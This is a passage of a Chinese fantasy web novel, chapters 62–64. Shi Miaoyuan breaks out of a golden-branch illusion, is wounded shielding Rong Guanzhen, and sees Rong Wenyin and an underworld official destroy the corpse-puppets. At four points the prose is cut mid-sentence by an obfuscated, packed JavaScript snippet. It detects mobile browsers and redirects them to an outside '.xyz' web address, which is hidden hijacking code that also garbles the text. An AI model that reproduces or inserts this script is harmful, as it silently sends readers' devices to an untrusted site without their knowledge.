“你为什么不说话?”见他不回应,荣观真的声音里带上了一丝哭腔,“你能不能再和我讲两句话?你答应我一声好不好?时妙原,时妙原?我求求你了,我……” 时妙原深深地吸了一口气。 他做足了心理准备,才鼓起勇气开口问道:“你……你是荣观真吗?” 听见这个问题,荣观真先是愣了一下。 然后,他忽地大笑出声。 “是你!是你!是……真的是你!哈哈哈,哈哈哈哈哈!”他直接陷入了狂喜,“我就说你不会抛弃我,我就说你不会忍心留下我一个人的!!妙妙,你看看我,你抱一抱我好吗?我真的好想你,我……咳咳咳咳咳!!!” 荣观真剧烈地咳嗽了起来。鲜血再度濡湿了他的上衣,只可惜它已经早没有多余的地方可供浸染了。时妙原发现这件衣服的样式很是奇怪,至少,他从来没有在任何地方见到过类似的款式。 他想了又想,还是弯下腰去,试探性碰了碰荣观真的肩膀。 结果他还没来得及做下一步动作,荣观真便一骨碌爬起来,硬生生把自己塞进了他的怀里。 时妙原顿时就慌了神:“你干什么!” 他的颈间传来一阵湿意,那毫无意外是荣观真的眼泪。 “我错了,妙妙,这回真的是我错了!”荣观真也不管他如何抗拒,便抱着他嚎啕大哭了起来。“全都是我的错,全都是因为我没有做好!我不应该违背妈妈的指令,我不该自作主张去做那些我觉得对别人好的事情!是我害了大家,我根本就没有办法处理好这些问题……我不适合当山神,我从一开始就不想当这个神仙的啊……全都是我的错,是我连累了你……” 他断断续续地抽泣道:“是我太冲动了,你不要不理我……你不理我的时候我真的特别难受,你不要走好不好?我真的不想再一个人了……” 白马的耳朵扑打了几下,它脖子上的伤口仍未愈合,三度厄正静静地躺在它的身侧,不知是不是因为光线原因,那上面的宝珠较往常似乎黯淡了不少。 杏花纷落如絮,不一会儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16266817|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便在树下人身上织就了一层雪霜。天空又再飘下细雨,汗与血与雨在杏树下汇成了一滩浅溪。时妙原轻轻地拍打着荣观真的后背,直到悲泣声渐渐平复,直到风也再卷不动更多的花叶,直到金羽又发出了一阵微弱的嗡鸣……直到,他意识到他真的不能再逗留下去了,他才发出了一声无奈也不解的叹息。 “你说完了吗?”他问,“说完了我该走了。” 荣观真惊恐地抬起了头:“你不要走!” 时妙原再度推开他。他起身后退数十步,荣观真在空中虚虚地捞了几下,他什么都没能抓住。 他对着空气茫然问道:“妙妙……你还在埋怨我是吗?” “埋怨你?”时妙原漫不经心地说,“我有什么好怪你的。我们之间,也没有什么血海深仇可言呀。” “因为,因为我害死了你,都是因为我你才会死的,如果没有我……如果没有我,事情就不会发展成这个样子……” “你这人怎么聊天的?老子明明还好好的在你面前喘气儿呢。”时妙原皱紧了眉头,“你主子是怎么交代你的,讲话这么不中听,就这样还想把我留下来吗?” 荣观真不说话了。 他既没有爬起来去追时妙原,也没有继续恳求他留下。 他好像陷入了沉思,又或者他其实已经失去了思考的能力。 他就这样呆呆跪坐在原地,风吹他也不动,雨打他也不躲,浑像尊被剥夺了全部生命力的雕塑。 少顷后,那雕塑说:“我明白了。” 时妙原问:“你明白什么了?” “我明白了……我只有这样,才能有机会再见到你。”荣观真喃喃道,“只要再下一次地狱,你就会来见我了。” “不是我说,你能行行好别一个不顺心就把死挂在嘴边么?”时妙原没忍住反驳道,“你别以为这样就可以让我心软,我告诉你,虽然我不知道你们这些东西是什么原理,但是如果有得选的话,你最好还是稍微有点求生欲望好吧?我劝你不要去死,当然了你也别活得太好!成天想七想八的对解决问一点用也没有,什么再见不再见的,我们这辈子都不会再见面了!” “我不要。” “你不要什么?” “我不要和你再见。” 荣观真微微仰起头,一滴血泪从他脸侧滑落,渗入了泥泞的花土里。树冠抖了一抖,又喂了他几枚不成气候的枯叶。残花爬上三度厄的剑柄,被它的所有者一并紧握在了手中。 “我讨厌再见……因为只要说了再见,就意味着我又要有好长一段时间,看不到你了。” 他支着三度厄,颤颤巍巍地站起了来。剑尖隐约有神火燎燃,他反手握剑,将那致命的一段指向了自己的心口。 时妙原察觉到他的意图,登时脸色一变:“喂,你别……!” “时妙原。” 荣观真泪流满面地说:“我再也不想听你说再见了。” 说完,他果断将三度厄刺入了自己的心脏。 62.逢花火 “你别!!!” 幻境当场崩溃,金羽如烟火般爆散开来。时妙原周身顷刻暗如永夜,夜色中高悬着一叶扭曲的金枝——它如蛆虫般不断变化着自身的形态,注意到他的视线时,它发出了一阵怨毒至极的啸鸣。 金顶枝发怒了! 无数扭曲的声音和画面尖啸着向时妙原涌去,他咬紧牙关,强行调度起金羽之力稳住了心神。头顶是愤怒的枝虫,脚下是涌动的夜色,入目可及处皆是无可逃脱的绝境,但他有他的羽毛,即便是在最黑的夜里,它也会为他指明求生的方向。 羽流飞窜向前,时妙原大步流星紧随其后,宽大的袖袍像黑火映衬着他的身形,金顶枝的炫光在他身边降下了诡谲至极的流彩,天地初开时亘古裂变的嗡鸣如潮水灌充了他的耳膜——九支被拉蓄满弓的长箭擦着他的发梢飞上了高空。 时妙原高仰起头,他看见九枚火球从至高之天堕入深渊。他闭上眼,地狱之门在他的脑海中轰然张开巨口。他顶着烈风不断前行,燃魂火如从前百千万亿次一样再度烧焦了他的神识。 “你就只剩下这点把戏了吗!”时妙原怒极止步,指着头顶的枝虫破口大骂道:“就凭这点手段你还想困住我?只知道翻旧账算什么本事!今天就算再给你十条八条命,你也不可能把老子留在这里!!!” 金顶枝的触手微微一滞——紧接着,时妙原所处的图景以更无法捕捉的速度在他的眼前切换了起来。他一时间被带回了聆辰台浩瀚璀璨的星海霞,另一时间又仿佛回到了光辉灿烂的扶桑树之巅,风起时荣观真的微笑和多年前金乌们振翅高飞的情景近乎融为一体,而下一秒,他和它们全都倒在了浓稠的血泊之中。 “救我。”他们都支离破碎。 “救救我。” “留下来。” “不要走……” “不要抛弃我们……” “妙妙,不要留下我一个人!” 时妙原大笑出声:“全给我滚!” 他转身便走,过去被他义无反顾地留在了身后。他冲向意识之海的出口,越接近现实他越感觉身体仿若灌铅一般沉重,脚下仿佛有千斤之担,他低头一看,竟是荣观真牢牢地抓住了他的袖口。 他身后血迹蜿蜒,他哭得肝肠寸断:“时妙原,你带我逃吧!你带我离开这里好不好!” “不好!” 时妙原干脆利落地甩开了他,他头也不回地大喊道:“你不是荣观真,他不会露出这种懦弱无能的表情!下次想骗人之前记得提前做做功课,你这样子和他实在是没有半点相似之处!” 那幻影松开了他。 周围的景象在飞速逝去,冲破金顶枝的最后一层束缚前,他听见身后人喃喃道: “如果真的是这样就好了。” “如果……真的像你说的一样,那就再好不过了。” 时妙原猛地睁开了眼睛。 幻象烟消云散,他又回到了金云村的花楼之中。 周围一片狼藉,虫腿散落满地,血与污浆的味道腥臭扑鼻,好在他身上基本还算是干净。 “呼……呼……” 有人在喘着粗气,他与他近在咫尺。时妙原艰难抬头,他发现自己正被荣观真牢牢地护在怀里。 是真正的荣观真。 震怒的荣观真。 荣观真一手紧搂着他,一手持无弗渡不断抵挡金顶枝的攻击。有多少虫腿来犯,他便将它们斩杀多少,金色的虫血溅上他的眉心,尚未接触到皮肤便被蒸作了灰气。 他的发丝无风自浮,怒意似无形之火,四周的怪物一时间都不敢再上前来。三度厄被胡乱放在了一旁,是因为动了恻隐之心吗?他终究还是没忍心用它来斩杀金顶枝。 “阿真,阿真!”时妙原扯了扯他的袖子,“你没事吧?” “啊!” 荣观真先是浑身一震,然后他见到他醒来,眉头瞬间舒展了开来。 “太好了!你终于醒了!” 他一把扔开无弗渡,像只与主人久别重逢的大狗一样把时妙原抱进了怀里。 “时妙原,你刚才真的差点把我吓死了!”荣观真心有余悸地说,“我一醒来就看见你躺在地上,旁边那些蜈蚣跟发了疯似的要上来咬你,我怕用三度厄办得太彻底,你没法活捉它回去交差,就只能用无弗渡来打它!无弗渡也是我娘教我锻的剑,她说用它可以召唤地藏王菩萨的官将首,不过我还没学会怎么用……时妙原,时妙原?你怎么又晕过去了?” “祖宗……你快松开我罢……”时妙原气若游丝地哀求道,“老子三百年前吃的苞米壳子都快被你摇出来了……” “哦,对不起!” 荣观真立刻松手,但他的语气还是十分兴奋:“我是跟着金羽出来的,你说得没错,有它在我真的一点也没有被杂念缠住!可是连我都醒了你居然还没出幻境,你都在那里头看见了什么……哎?” 时妙原将手放到了他的喉结上。 他出神地说:“没破洞啊……” “你怎么了?”荣观真反握住他,“我的脖子有什么问题吗?” 又一批虫腿袭来,他看也不看便挥剑将它们斩成了碎片。有几滴虫血正要向时妙原的眼睛溅去,被荣观真抬手挡了下去。 时妙原环顾四周,他见金顶枝的腿全都被砍下,落到到地上变成了坚硬的金色碎片。它仅剩下的主体在地上光秃秃地蠕动,看起来要多恶心有多恶心。 “我在幻境里看到了你。”时妙原收回视线,对荣观真实话实说道:“我被带到了香界峰,在那里我见到了身受重伤的你。你的喉咙破了个洞,眼神好像也有点不太好使。哦对了,你的穿着还特别奇怪,上短下长,褂子是白的内搭是灰的,你有那样的衣服么?” “什么?我没有!”荣观真又惊又疑地说,“我从没穿过那样的褂子,我现在也好好的没有受伤啊?你看,我身上连一滴血都没有!” “是吧,我心里也纳闷得很!”时妙原烦躁地抓了把头发,“我就不明白金顶枝怎会造出那么不合常理的场景,而且为什么我看到的偏偏是你?不过你那么穿还挺好看,而且那时候你还叫我妙妙……等下,这不是重点。你先把剑给我。” “哎?” 时妙原摊开手掌:“剑给我,我说无弗渡。” 荣观真用袖子将无弗渡的剑柄擦拭干净,把剑锋朝着自己的方向递了过去。时妙原用力挥舞两下,不错,呼呼生风。 这的确是一把好剑,它的灵力十分充沛,只是附着的法咒太过深奥,即便对他来说也有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16281054|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难以驾驭。 妙原持剑向金顶枝走去,还没走出几步,他听见荣观真问道:“你说我在幻境里叫你妙妙,那我之后是不是也可以这样喊啊?” 他差点摔了一跤:“不是,你突然说什么胡话呢?当然不行!这像什么样子!” “那妙原?” “听起来更怪了啊!你还记得我是你的长辈吗?你小子不许僭越!” “哦……” 时妙原手起刀落,将金顶枝的主体劈成了两段。那虫的身躯立刻僵硬,眨眼间便变成了一根枯瘦的黑色树枝。这东西在凡人眼中并无任何特别之处,但若是修行之人,只消一眼便可瞧出它周身缭绕不息的怨气。 “行了,这样应该就办妥了。”时妙原用脚尖拢了拢地上散落的金叶,“现在鬼魈也死了,金顶枝也到手了,等下咱收拾收拾把它带回去给你娘就可以。对了,差点忘了问,你在金顶枝境看到了什么?” “啊……哦!”荣观真还沉浸在爱称惨遭拨回的打击中,他如梦初醒地答道:“我看到了雪。” “雪?雪地还是雪山?” “是雪山,当然也有雪地。山很高,雪很白,湖面全结了冰。有人在山上牧羊。雪下得很大,他没有注意到我。”荣观真陷入了回忆,“我记得你说的话,没逗留多久就跟着金羽离开了那里。我没去过雪山,也不认识什么牧羊人,你说我能在金顶枝境看到故人,那会是我的旧相识么?” “不知道,但好奇怪啊……你家里有人放羊么?”时妙原比划道,“或者灵体是山羊,绵羊,又比如什么高原动物的那种?” 荣观真果断摇头:“据我所知没有。我娘没有固定的灵体,承光是一条黄不拉几的小蛇,至于我你是清楚的,我们一家子和羊都没有什么关联。” “那就奇了怪了,总不能是她又在外边偷整了个小孩儿出来吧?” 时妙原想象了一下荣闻音抱着小羊羔慈母笑的画面,不由得从心底里打了个寒战。他摇摇头将那些胡思乱想甩出脑袋,指着地上彻底僵硬不动的金顶枝主体说:“先别管什么山啊雪啊羊的了,还是先把这个带回去吧。你身上有什么能装东西的法器么?” “应该是有的。我出门前我娘给我带了好多东西,你等我找找……坏了。” 荣观真苦恼地说:“好像都放在另一件衣服里了。” 他正要抬头哀嚎,却见眼前人脸色忽变。 时妙原大吼道:“让开!!!” “什么?”身后传来一阵尖锐无比的刺笑,荣观真扭头一看:金顶枝的其中半截主体不知什么跳到窗台上,身子一歪就落到了草丛中,而方才被他切下来的金叶突然齐齐起立,不约而同地朝他的方向飞了过来! 它们来寻仇来了! 荣观真当即持剑,可虫枝的速度竟比他的剑都还要更快几分。寒光铺天盖地,飞得最快的那支虫腿即将刺入他的瞳孔之际,他发现自己突然失去了视力。 黑暗铺天盖地,他眼前一片漆黑。 他瞎了? 不对。 一小枚黑暗轻盈地落上了他的鼻尖。 鸦羽满天舞落,是时妙原张开翅膀,将他死死地护在了羽翼之下。 下一秒,热血泼洒而出,从头到尾浇遍了荣观真的全身。 63.杨枝怜柳(一) 时妙原哇地吐出一大口血,身体一软支撑不住半跪在了地上。 他颤抖着将手抬起攥紧成拳,那些偷袭荣观真的金叶顷刻被隔空捏成了碎片。 然后,他慢慢收回翅膀,瘫倒在地,留下了一地污血,满背伤洞,以及一个几乎濒临崩溃的荣观真。 “时妙原,时妙原?你还好吗?你没事吧!!!”荣观真手忙脚乱地将他抱进了怀里,无弗渡当啷落地,方才被擦拭干净的剑柄转眼又被鲜血染得通红。可现在他根本就无暇去管这些,他眼里就只有时妙原比纸还要苍白的嘴唇。 “咳……我,我还好!我没事,你不用管我!”时妙原努力咽下了涌到喉头的血气,“金顶枝跑了,你快去追!我还需要一点时间,我……让我在这儿再缓缓,你先去……” “不行!这里太危险了,我不能把你一个人扔下来!” “都,都这种时候了!就别你我我你的了!”时妙原焦急地说,“再不去追金顶枝,我们这些努力就全白费了!” “白费就白费!”荣观真大喊道,“如果要放弃你才能抓住它,那我宁愿拿我自己的命去换!” “你这死孩子,你在拿自己开什么玩笑呢?!”时妙原被他噎得差点又吐出一口老血,他正想再训斥两句,却感到心口一阵湿濡,他错愕地抬头望去,被眼前的景象惊在了原地。 荣观真竟然哭了。 他憋得满脸通红,泪水在眼眶中来回打转,还是滴滴答答地往下直落。他哭得安静又伤心,就好像受了什么天大的委屈一样。 “你……”时妙原一时语塞。 “你俩这是什么情况?!” 花楼门被猛地踹开,是施浴霞持刀闯了进来。金叶们一见她便纷纷后撤,她看清时妙原身上的伤势,一个箭步冲到了他的身边:“你别动,我来给你疗伤!” 时妙原连连摆手:“不用!我有金羽!我自己就可以……” “你别扯了,金羽也是你自己的东西,医者难自医的道理你还能不知道吗?”施浴霞迅速念起了咒语,屋内霞光阵阵,时妙原身上的伤口迅速开始愈合,与此同时,那些蠢蠢欲动的金叶也不约而同地退缩到了角落。 施浴霞懊恼地问:“到底怎么回事,不过半天功夫你们怎么就把自己弄成了这样?那边都是些什么东西?我记得鬼魈原来不长这样吧!我明明就在外面,为什么我没看到它们进来啊!” “咳……因为来的不止有鬼魈,金顶枝就附在它身上,你刚才估计是被魇住了才没有看见!” 时妙原赶忙解释道:“依我看,金顶枝的宿主很有可能是上一个使用它的人!我来之前查过,那人生前应该是个书生,不知用什么办法得到了金顶枝,便用它来追忆亡妻,结果一不小心被它反噬附体,身死后怨气化形成了山鬼魈!阿真,你记不记得我之前对你说的故事?当时我以为金顶枝只是被偷了或者丢了,但我现在觉得,这玩意儿应该是自己设计陷害了宿主!” 施浴霞问:“你说它本来是人,那他的尸身现在在哪?” “不就在这……哎?” 时妙原浑身血液倒流: 他发现山鬼魈的尸体不见了。 又或者说,原本的那具不见了,但屋子了多了好些和它差别不大的复制品。 在他们交谈时,屋内其余的金叶已悄摸转变了形态。它们慢慢变软,慢慢凝聚,慢慢变大,慢慢站起,慢慢生出四肢与头颅,慢慢变成了许多枯瘦干巴的尸人。 花楼内本就空间有限,尸人们站起来后,就更是将门窗都堵了个严严实实。 它们的动作迟缓、举止僵硬,浑浊的眼睛都盯着同一个方向——它们的目标都是时妙原。 “娘子……” 它们浑浑噩噩地念道。 “娘子……娘子。” “你为何如此待我……你为何背弃信义……” “我们难道……我们难道不是至亲至爱的夫妻么?” 其中一具尸人说着便向时妙原扑来,施浴霞果断上前一步挥刀将它劈成了两半。它的上下半身在地上挣扎片刻,竟又再站起来,分化成了两个大小完全一致的个体。 施浴霞失声尖叫:“我操!这什么鬼东西!” “小孩子家家的注意言辞!”时妙原擦干净脸上的血,在荣观真的搀扶下站了起来。他有些艰难地说:“如你所见,这些……呼……这些全都是金顶枝的杰作!” 尸人的身形干瘪,而它们的前额上则都嵌着一枚金叶,金顶枝的根系正在其皮下不断涌动,它扎得越深,其宿主的动作就越发流畅。 它们不断向前逼近,荣观真将无弗渡从地上拾了起来,稍作思考之后,他把手搭到了三度厄的剑柄上。时妙原立刻制止了他:“你别,三度厄是派不上用场的。你刚才也见到了,纯粹砍杀根本无法阻止尸人增生,这玩意本质是不得超度的怨灵,它们与金顶枝相辅相成,你要么就想办法渡化它们,要么就只能让它们彻底魂飞魄散。” “渡化?照理说无弗渡是可以的……”荣观真望着无弗渡自言自语道,“它可以唤官将首附体,若是使用得当就能彻底杀渡冤魂,但是我现在还不会用它!早知道我就……” 施浴霞插话道:“既然硬碰硬不顶用,那我们就想想其余办法吧!我的万霞能照出恶鬼本相,还可以暂时牵制住怨灵,等下不如我打头阵,荣护法负责殿后,时妙原,你飞得快,我们打起来了你就赶快逃跑!逃出去以后你去东越山,到东天门太浩殿报我的名字就会有人来帮我们了!怎么样?” “不怎么样!”时妙原当即否决了她的提议,“这里离东越山十万八千里远,等我到了你俩估计连骨头渣子都不剩几根了,你们别逞强,这事儿光凭咱们根本就管不了!” “那你是要我们就在这等死吗?”施浴霞瞪大了眼睛,“我们死了不过灵识回归天地,大不了重新做花做草做回石头,村子里那些人要是出了什么问题,可没法像咱们这样潇洒!” “小霞,时妙原,你们都退后。” 荣观真向前一步将他们挡在了身后:“出去搬救兵的确不现实,我虽实力不济,和这些东西斗上几个回合还是不成问题的。等下我先上,你们去挨家挨户把人全部转移走,我今天死在这无所谓,但是绝不能让这些鬼东西离 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291774|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开这里。” “你俩给我适可而止!” 时妙原忍无可忍,给这两个小屁孩一人来了一爆栗:“我真受不了你们这些臭小孩了,怎么动不动就死死活活要魂要命的什么鬼话都往外瞎讲?!我说了要等死了吗?我叫你们搁这跟我演苦情戏了吗?我看你们平时修炼起来是三天打鱼两天晒网,正事不做一点就知道跑去赶大集看民间戏本子!我的意思是现在已经不需要咱们动手了,两位未来的山神奶奶山神老爷,你俩法力无边,不会一点儿都没有察觉到吧?” “你在说什么啊?嘶痛……痛痛……”施浴霞捂着脑门,欲哭无泪地问:“不需要咱们动手,难道老天爷能突然甩两道雷下来把它们都劈了不成?” “哎,还真给你说对了。” 时妙原突然笑了。 他指着天花板说:“咱们的靠山来了,你难道没发现吗?” “啊?” 天边传来了一阵密集的鼓点声。 那节拍不远不近,似一片轻盈的柳絮,随着风摇摇摆摆地靠近了彼岸。 可柳絮的脚步并不会如此沉闷,仔细听来的话……那更像是接续不断的雷鸣。 尸人们突然止住了脚步。 它们不约而同站住,不约而同仰头,不约而同张开了嘴巴。从旁观的视角看,它们就好像一群正等待上天垂怜,降下甘露与救赎的河鱼。 咚,咚,咚。花楼连震三下。 施浴霞还在查找声源,时妙原冷不丁拍了拍她的肩膀:“别看了,蹲下。” 紧接着他对荣观真说:“阿真,抱我。” 荣观真下意识张开了双臂。 他才刚搂住时妙原的腰,下一秒,刺眼的月光便如洪波般灌进了整个房间。 明月炽烈如日,晚风冷冽如泉。 房顶不翼而飞,四周的木墙呈斜切状被整齐地劈了开来。 尸人们躲避不及,有的脑袋被切了一半,有的只剩下了下半部分的身体。耳畔传来重物落地的声响,施浴霞探出脑袋一看,原来是花楼的屋顶被完好无损地放到了地上。 “……啊?”她震惊地瞪大了眼睛。 “哎……?”荣观真张大了嘴巴。 “嗨!嗨嗨嗨!” 时妙原对月亮挥舞双手:“在这里!看我!我们都在这儿呢!” 天空明月高悬,月边清云流淌。月上灰影斑驳,那并非蟾宫在人间的投射,而是一个背手悬立于空中的灰影。 荣观真望向天空,短短几秒钟内,他的表情紧张到疑惑,再到不可置信,然后—— 他欣喜若狂。 在他叫出声来之前,施浴霞率先如弹簧般从地上跳了起来。 她拍干净身上的灰尘,捋好头发,兴奋地冲天空大喊道:“闻音娘娘——闻音娘娘!居然是您!您真的来了!我,我没想到居然真的能在这见到您!!!!” 山间吹来一轮清风,荣闻音如一片薄云般悬停在花楼上空。她左手抓着方才逃之夭夭的金顶枝主体,右手则掐着根其貌不扬的树枝。她轻轻点点枝条,那些正欲分裂再起的尸人便全都被炸作了黑雾。 64.杨枝怜柳(二) “小霞,阿真!抱歉我来晚了,你们俩都还好吧?” 荣闻音落下地面,笑着迎上了两个飞奔而来的小孩。 “闻音娘娘!闻音娘娘!居然真的是你!我做梦都没想过还能在这儿见到你!”施浴霞兴奋地绕着她直转,荣观真虽看着不如施浴霞激动,但脸上也写满了开心。 荣闻音揉揉荣观真的脑袋,又拍拍施浴霞的肩膀,她见时妙原从地上爬了起来,乐呵呵地招呼道:“哟!妙原啊,这才几天没见,您老人家怎么给整得臊眉耷眼的,狼狈成了这样?” “姐姐这话讲的,我这不奉命给您带孩子来了么!” 时妙原掸掉身上的灰尘,骚里骚气地扭到了荣闻音跟前。他指着荣观真对她说道:“您瞧!咱真真是冰肌玉骨,吹弹可破,正是水灵的年纪,随便往那一站都就是玉树临风四个大字!刚才那么乱的场面,您家小宝贝连根汗毛都没带掉的!怎么样,你就说我办事利不利索吧,有我在一旁护着,你还能放心不下来吗?” 荣闻音打量着亲儿子说:“不错,没磕没碰也没破皮,就是怎的穿了黑衣服,眼睛被谁搞的红成了这样?刚刚太紧张了?被金顶枝伤着了?哎,阿真,你不会是……才哭了一场吧?” “什么?娘,我没有!”荣观真拿袖子胡乱擦了把脸,“我才没有哭!我刚才只是,我只是打架热出了许多汗!” 时妙原赶忙替他找补:“对的对的,咱阿真揍人可厉害了我跟你说!那家伙那剑使得虎虎生风的,虽然一把都派不上用场吧,但施加起拳脚来也相当了得!那句话怎么说的来着?哦,他这是杀红了眼啊闻音!” “是吗?我看未必吧。”荣闻音半信半疑地凑到了荣观真近前,“我看他这不像是打架打的,倒是跟小时候不给他摘果子那个委屈样很像。阿真,你老实和我交代,你们刚才是不是……哎?时妙原,你身上怎么了?” 她眼尖地发现了时妙原背后的血迹:“你受伤了?” 时妙原立马信口开河:“我刚才摔了一跤!” “摔跤能摔成这样,你是爬刀山去了吗?转过去给我看看!”荣闻音喝令道,“这么多血洞子!你现在还疼不疼?” “不疼,一点儿也不疼!你瞧,我已经连皮儿都长好了!”时妙原把自己拍得噼里啪啦直响,“是小霞给我治的,她手艺可好了,这以后啊绝对一点儿病根也不会落下!我跟你说我皮实着呢我的好姐姐,我的命有多硬你也是知道的,就算天塌下来了我也死不了!对吧小霞?” 荣闻音惊讶地望向施浴霞:“哦?小霞居然还会治疗术,我之前怎么不知道?” “啊?哦……是的是的!是我给他治的伤!” 施浴霞一被她夸,整个人都不由得飘飘欲仙了起来。她骄傲又羞涩地说:“其实这都是小事,我的治疗术也是靠万霞才能施展出来的!我现在修为还不够,若是再给我千百年时间,等假以时日,我肯定能活死人肉白骨,就算是到了冥府也可以把人给捞回来。闻音娘娘,其实我刚才也有疏忽,要不是我没注意,时妙原他也不会受伤,荣护法也不会哭成那个样……唔唔唔唔唔?!!” 时妙原死死地捂住了施浴霞的嘴巴,他扯着嗓子大喊道:“荣护法他酷酷挥剑!夸夸砍人!杀得那叫一个天昏地暗!昏天黑地!要多猛有多猛我跟你们讲!” 荣闻音狐疑地眯起了眼睛。 她绕到时妙原身后,看清他背上的东西后,她不由得轻轻“啊”了一声。 时妙原反手一摸,内心立刻警铃大作: 不妙。荣观真送他的簪子还沾在他后脑勺上呢! 这对母子成日朝夕相处,荣观真打金簪的事,荣闻音怎么说也不能一无所知吧?! 荣闻音果然露出了然的表情:“哦……我懂了,果然是因为这个啊。我说呢,怪不得啊。” 你懂什么了你就懂了?果然什么啊你就果然?时妙原差点尖叫出声:你知道你儿子都在想什么吗?他每天都在觊觎老子的屁股啊我的亲娘嘞!! 他不晓得荣闻音从刚才那几句话中猜到了多少,他唯一能做的便是尽快转移话题:“那什么,姐姐啊!小弟还有一事不明——你是怎么找到这儿来的?蕴轮谷离这老远了,你知道我们出事了吗?” 荣闻音慢条斯理地直起了身子。她看看一旁不敢吱声的荣观真,又看看眼前满头大汗的好友,再看看一脸不明所以的施浴霞,过半晌后,她轻轻点了点头: “……嗯,我确实是为你们来的。方才我恰好在处理一些事情,还没忙完就听见有人传信说阿真和小霞有危险,让我赶紧到金云村来救人。这不,我才刚到村口,就正好抓住了这破烂东西,隔老远又听见你们这儿叫唤,就顺着声音过来了。” 她抬起手,金顶枝的主体在她手里安分得像只小鸡,连动都不敢多动一下。 时妙原登时心生好奇:“哎?这又是何方神圣给你传的信儿啊?在你地盘上发生的事情,连你都没察觉到,是谁这么神通广大,还能感知到他俩的安危?姐姐,我这人最爱交朋友,你能不能把他介绍给我,就当是给弟弟添个人脉呗。” “你问他啊……”荣闻音默默望向了后山的树林,“其实吧,他今天也……” “嘶啊——————!!!” 悲吼声如贯冲天,房屋角落处突然扑出了一道黑影,众人纷纷侧目,这才发现原来这儿还藏了具尸人! 它仰天长啸三秒,一团青黑色的怨灵从它口中飞出,以迅雷不及掩耳之势向山林中逃了过去。 时妙原心下一凛:“当心!别让它逃了!” 他作势要追,荣闻音抬手将他拦了下来。 “闻音?” “不需要你出手。”荣闻音神秘兮兮地说,“死人的事情,还是得归管死人的管。” “管死人的……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16291775|180435||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>时妙原将目光投向了那片树林。 他发现,那怨灵并没能溜之大吉,而是突然刹在半途,在距林子仅有咫尺之遥的地方停了下来。 山间传来阵阵低鸣,仔细去听的话,那吼声其实是从地底发出来的。 那不像是野兽的吼叫,而更接近于某种更致命的存在。 那是龙吟。 施浴霞脸色一变。 就在此时,那怨灵猛地掉转方向朝她冲了过来。 变故发生得太快,在场众人甚至都没来得及作出反应,施浴霞刚举起万霞准备招架,孰料林中突然飞出无数寒光凛冽的铁链,三下五除二将它钉死在了原地。 “嘎啊!!!!!” 怨灵凄厉大叫,它如蛆虫般挣扎不已,可它越是扭动,那锁链便越是发红发烫,将它绞得越死。 轰轰轰轰轰!空中连续落下五道惊雷,以电光石火之势那它炸作了尘埃,灰随山风而动,在即将散逸开来之际,一名男子从树林里拨开叶片走来,将空气中飘零的残灵尽数拢入了掌中。 时妙原瞪大了眼睛。 不知为何,他觉得他看起来非常、非常眼熟。 这是个长得颇为周正的男人。他身穿青龙袍,头戴苍碧冠,腰配朱红印,手腕间还隐约缠着一条若隐若现的铁索。他的眉目平和、身材高大,气质温吞却不失庄严,给人的感觉既亲近又疏离,还有某种不言自明的威压。 一阵山风压来,吹得他身后的草树纷纷低伏,可他的发与袖袍全都纹丝不动。 他盯着手中残灵打量片刻,轻笑一声道: “犯杀孽,执念不悟。乱人间,拒入冥司。三魂丢了七魄,五感弊缺六觉,为人不知人道,再入世也是枉然。罚你入无间狱,先至掌山林鬼神司清算。何时还完了累世债,何时再轮入道。” 说完,他将那魂往后抛去,一条青龙蹿出地底将它吞吃入腹,随后便消失在了原地。 紧接着那人一挥袖,只眨眼间便闪现到了花楼中。地上满地狼藉,他身处其间显得矜贵又格格不入。荣闻音对他微微颔首,他回以揖礼,而后自然而然地走到了施浴霞身前。 “小霞。好久不见,你长大了。”他说。 “你……”施浴霞震惊地张着嘴巴,“你,你怎么……你不是……” “嗯,我在冥司还有事情得办,只是暂时上来而已。”他握住施浴霞的手,替她捋好了几绺乱发,“不过你别担心,我们还有时间,可以再叙叙旧。” 他注意到时妙原与荣观真在旁边发呆,又对他们含蓄地笑道: 